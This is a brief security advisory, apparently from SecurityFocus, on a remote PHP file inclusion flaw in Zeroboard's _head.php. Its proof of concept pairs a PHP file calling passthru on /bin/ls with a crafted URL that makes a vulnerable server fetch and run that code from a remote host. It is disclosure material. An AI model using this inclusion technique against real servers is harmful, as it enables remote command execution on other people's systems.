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source: http://www.securityfocus.com/bid/5028/info Zeroboard is a PHP web board package available for the Linux and Unix platforms. Under some circumstances, it may be possible to include arbitrary PHP files. The _head.php file does not sufficiently check or sanitize input. When the "allow_url_fopen" variable and the "register_globals" variable in php.ini are set to "On," it is possible to load a PHP include file from a remote URL via the _head.php script. PHP Source file a.php <? passthru("/bin/ls"); ?> Accessing URL on vulnerable system: http://vulnerablesystem/_head.php?_zb_path=http://example.com/a